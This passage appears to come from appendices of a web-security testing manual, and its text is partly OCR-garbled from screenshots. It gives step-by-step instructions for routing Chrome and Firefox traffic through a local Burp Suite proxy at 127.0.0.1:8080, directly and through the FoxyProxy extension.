Online Accounts

E ¥ © B »

Privacy
«§ Sharing
) Sound

[e Power

& Network

Network @ e®0
Wired +
Connected - 1000 Mb/s —@ |
VPN +
Not set up
Network Proxy Off | Fo
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Step 4: Enter “127.0.0.1” in “HTTP Proxy” textbox and enter 8080 as port.

Network Proxy [>]
() Automatic
(=) Manual
() Disabled
HTTP Proxy | 127.0.0.1 | 8080 - +
HITPS Proxy ‘ ’ [ 0 + ‘
ETP Proxy ‘ ] I 0 s }
Socks Host ‘ \ ’ 0 + ‘

Ignore Hosts ‘ localhost, 127.0.0.0/8, ::1 ‘

Close the dialog box.
Step 5: Start Burp suite.

Burp Suite Community Edition v1.7.32 - Temporary Project e O |
Burp Intruder Repeater Window Help

j”[a{ggt Proxy | Spider TScanner Tlntruder TRepeater TSequencer TDecoder TComparer TExtender TProject options TUser options TAIerts 1
j.Site.map i Scope

[ Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders IL’J

Host | Method WRL | Params iSlatus AiLengF‘

Step 6: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080”.
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Burp Suite Community Edition v1.7.32 - Temporary Project
Burp Intruder Repeater Window Help
{Target LM Spider I Scanner T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender TProject options W

| Intercept | HTTP history | WebSockets history | Options

EJ Proxy Listeners
@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your brows

| Add | Running |Interface |Invisible | Redirect | Certificate
 Edit ) 127.0.0.1:8080 Per-host

Remove

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connection
other tools or another installation of Burp.

All the HTTP/HTTPS request made by Google Chrome will be intercepted by Burp Suite.
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B.2 Mozilla Firefox with burp suite (Kali OS)
Step 1: Open Mozilla Firefox and navigate to the URL given below.

URL: about:preferences

-

Preferences - Mozilla Firefox

L £k Preferences x \+

€  ©Firefox | about:preferences

Most Visited v

[ General General

Startup
Always check if Firefox is your default browser

Firefox is not your default browser
When Firefox starts:| Show my home page
Home Page: file:///usr/share/kali-defaults/web/homepage.html
Use Current Page Use Bookmark...

Downloads
@ Savefilesto @@ Downloads

Always ask me where to save files
Tabs

Ctrl+Tab cycles through tabs in recently used order
¥ Open new windows in a new tab instead

When | open a link in a new tab, switch to it immediately

e ||Q Search

Make Default

-

Restore to Default

Browse...

Step 2: Click on “Advanced” tab on the left panel and then click on “Settings” button under

“Network” tab.
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Preferences - Mozilla Firefox

}-"# Preferences x|+

€ ) Firefox | about:preferencesttadvanced

Most Visited v

Advanced

LB

General Data Choices Network Update Certificates

Il

Connection
Configure how Firefox connects to the Internet

Cached Web Content

Your web content cache is currently using 23.9 MB of disk space

A
o P
8 <

(s

Override automatic cache management

>

Advanced 350

Limit cache to MB of space

¢ ||Q Search

Settings...

Clear Now

Step 3: Enter “127.0.0.1” and “8080” in “HTTP Proxy” textbox and “Port” textbox respectively.

Connection Settings

Configure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings

>

@® Manual proxy configuration:

HTTP Proxy: 127.0.0.1 Port
Use this proxy server for all protocols
SSL Proxy: Port:
FTP Proxy: Port:
SOCKS Host: Port:
SOCKS v4 @ SOCKS yv5
No Proxy for:
localhost, 127.0.0.1
Example: .mozilla.org, .net.nz, 192.168.1.0/24
Help Cancel

8080 =
A
I
I

OK
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Step 4: Start Burp suite.

Burp Suite Community Edition v1.7.32 - Temporary Project Qe O |
Burp Intruder Repeater Window Help

jTA{m Proxy | Spider TScanner Tlntruder TRepeater TSequencer IDecoder TComparer TExtender TProject options TUser options IAIerts ]

jﬁitemap I Scope

[ Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders IL:J

Host |Method | URL |Params |Status |Length |

Step 5: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080".

Burp Suite Community Edition v1.7.32 - Temporary Project
Burp Intruder Repeater Window Help

Target |}.Aﬁgm ] Spider | Scanner | Intruder | Repeater | Sequencer IDecoder TComparer IExtender TProject options W
Intercept | HTTP history |WebSacket5 history | Options

EJ Proxy Listeners

L°J Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your brows

| Add | Running | Interface | Invisible | Redirect | Certificate
"~ Edit & 127.0.0.1:8080 Per-host

>
Remove

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connection
other tools or another installation of Burp.

All the HTTP request made by Mozilla Firefox will be intercepted by Burp Suite.
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Appendix C

C.1 FoxyProxy on Google Chrome with Burp Suite
Step 1: Installing FoxyProxy.
FoxyProxy Standard plugin for Google Chrome can be installed from the URL given below:

URL:
https://chrome.google.com/webstore/detail/foxyproxy-standard/gcknhkkoolaabfminjonogaaifnjlfn
p?hi=en

After installing FoxyProxy, a small fox icon will appear on the right side of the address bar.

Step 2: Click on the FoxyProxy icon and click on Options.

= 4
* @ | @
Use proxies based on their pre-defined patterns and pricrities
“ Use proxy Default for all URLs
|  Disable FoxyProxy =
Options

I
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https://chrome.google.com/webstore/detail/foxyproxy-standard/gcknhkkoolaabfmlnjonogaaifnjlfnp?hl=en
https://chrome.google.com/webstore/detail/foxyproxy-standard/gcknhkkoolaabfmlnjonogaaifnjlfnp?hl=en

Step 3: Click on the “Add New Proxy” Button.

£ Settings - Customize fonts

X @ FoxyProxy options X o+

C ™ FoxyProxy Standard | ch

//ge jonogaaiflfnp,

Proxies

Global Settings
Import/Export
About

Proxy mode: | Disable FoxyProxy

Proxies

Enabled  Color  FIoXY

Name Proxy Notes

Hostor P
Address

Port

SOCKS
proxy?

SOCKS
Version

Auto PAC
URL

These are the settings
that are used when no
patterns match an URL

v . Default

Please Donate

Buy Proxy Service

5

Add New Proxy

Step 4: Enter “127.0.0.1” in “Host or IP Address” textbox and enter “8080” in Port textbox.
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FoxyProxy - Proxy settings

General Proxy Details URL Patterns

) Direct internet connection (no proxy)

® pManual Proxy Configuration
Help! Where are settings for HTTF, SSL, FTP, Gopher, and SOCKS?

Host or IP Address |127.0.0.1

| Port 8080

[ SOCKS proxy? () SOCKS vd/da ® SOCKS v5

[ save Login Credentials @)

) Automatic proxy configuration URL

View

¥ Notify me about proxy auto-configuration file loads

¥ Notify me about proxy auto-configuration file errors

Click on the Save button.
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2 Settings - Customize fonts X @ FoxyProxy options X+

C W FoxyProxy Standard | ch

//ge jonogasifnilfnp/opti HtabProxies
Proxy mode: | Disable FoxyProxy v
Proxy Host or IP SOCKS SOCKS
Enabled  Golor riame. Proxy Notes AL Port proxy> Nirion
v . 127.0.0.1:8080 127.00.1 8080 5

These are the settings
v . Default that are used when no 5
patterns match an URL

Proxies

Global Settings
Import/Export
About

Please Donate Buy Proxy Service

The configured proxy will appear in the proxies table.

Step 5: Enable the proxy.

Click on the FoxyProxy icon and select the option “Use proxy 127.0.0.1:8080 for all URLs”

Use proxies based on their pre-defined patterns and priorities
« Use proxy 127.0.0.1:8080 for all URLs
Use proxy Default for all URLs

Disable FoxyProxy

Options

The FoxyProxy icon will change its color (In this case it is blue).
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Step 6: Start Burp suite.

'] Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

lﬁmﬁh] Proxy I Spider ] Scanner T Intruder [ Repeater I Sequencer [ Decoder [ Comparer I Extender ] Project options I User options I Alerts |

Site map | Scope

Filter: Hiding not found items; hiding CS3S, image and general binary content, hiding 4xx responses, hiding emply folders

Host Method | URL F

Step 7: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080".

Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeatef Window Help

[Target [Hag}g] Spider I Scanner ] IntruderT Repeater I Sequencer [ Decoder I Comparer [ Extender ] Project options I User uptiuns.] Alerts ]
[ Intercept | HTTP history | WebSockets history | Options |

i] Proxy Listeners

\EJ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listenars ¢

_ Add | |Rumning |lnterface Invisible | Redirect | Centificate
==\ ] 127.0.0.1:8080 Per-host
Edit
e ]
Remove |

Each installation of Burp generates ils own CA certificate that Proxy listeners can use when negoliating SSL conneclions. You can import or export tt

| Import/ export CA cerlificale | | Regenerate CA cerificate |

All the HTTP/HTTPS request made by Google Chrome will be intercepted by Burp Suite.
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C.2 FoxyProxy on Mozilla Firefox with Burp Suite

Step 1: Installing FoxyProxy.
FoxyProxy Standard plugin for Mozilla Firefox can be installed from the URL given below:

URL.: https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

After installing FoxyProxy, a small fox icon will appear on the right side of the address bar.

Step 2: Click on the FoxyProxy icon and click on Options.

@ FoxyProxy

Use proxy Default for all URLs (ignore patterns)
 Turn Off FoxyProxy (Use Firefox Settings)
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https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

Step 3: Click on the add button on the left panel

4-4350-84Tb-f06d9a X

xtension (FoxyProxy Standard) moz-extension://d73a6ee9-0334-4a50-847b-f06d9a022466/proxies.html w1

@ Add
Im— Delete All Foxyproxy

;%5 Export Turn Off FoxyProxy (Use Firefox Setlings)

1

ma Import
E Log

@ What's My IP?
:;ﬂ Del Browsing
Data

Synchronize settings: ol ?

@ Deiault

? About

Step 4: Enter “127.0.0.1” in “IP Address, DNS name, server name” textbox and enter “8080” in
Port textbox.

0334-4a50-847b-f06d%e. X R

‘- Extension (FexyProxy Standard)  moz-extension://d73a6ee9-0334-4a50-847b-f06d9a022466/add-edit-proxy.htm
Gt
Add Proxy

Proxy Type # Title or Description (optional)
HTTP
Color IP address, DNS name, server name #

127.00.1

Add whitelist pattern to match all URLs Port %

8080
Do not use for localhost and
intranet/private IP addresses Username (optional)
Help

Password (optional) @

Cancel

Click on the Save button.
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ion (FoxyProxy Standard) moz-extension://d73a6bee9-0334-4ab0-847b-f06d9a022466/proxies.html

#) FoxyProxy

Turn Off FoxyProxy (Use Firefox Settings) SYNEhionze setfings:

.; mport

% @ 127.001
Bl Log

&9 What's My 1P? -

&
£7 Del Browsing
Data

? About

The proxy will appear in the proxies table.
Step 5: Enable the proxy.

Click on the FoxyProxy icon and select the option “Use proxy 127.0.0.1:8080 for all URLs
(ignore patterns)”

}?\i’) FoxyProxy

Use proxy Default for all URLs (ignore patterns)
Turn Off FoxyProxy (Use Firefox Settings)

The FoxyProxy icon will change its color (In this case it is green).
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Step 6: Start Burp suite.

'] Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

LI%] Proxy T Spider T Scanner ] Intruder I Repeater I Sequencer I Decoder [ Comparer T Extender ] Project options I User options ] Alerts |
ia@m; Scope

Filter: Hiding not found items,; hiding CSS, image and general binary content;, hiding 4xx responses, hiding emply folders

Host |Method | URL F

Step 7: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080”

.! Burp Swite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

[Target [ngy] Spider I Scanner ] Intruderll Repeater 1 Sequencer [ Decoder l Comparer [ Extender l Project options ].User uplimsJ Alerts l
[ Intercept ] HTTP history ] WebSockets history Lm,]

i] Proxy Listeners

\EJ Burp Proxy uses listeners to receive incoming HT TP requests from your browser You will need to configure your browser to use one of the listeners &

| Add | Running | Interface | Invisible Redirect | Certificate
] &) 127.0.0.1:8080 Per-host
Edit
FI— [ J
Remove |

Each installation of Burp generates its own CA cerlificate that Proxy listeners can use when negoliating SSL conneclions. You can import or export #

| Import/ export CA certificate | | Regenerale CA cerlificate |

All the HTTP/HTTPS request made by Mozilla Firefox will be intercepted by Burp Suite.
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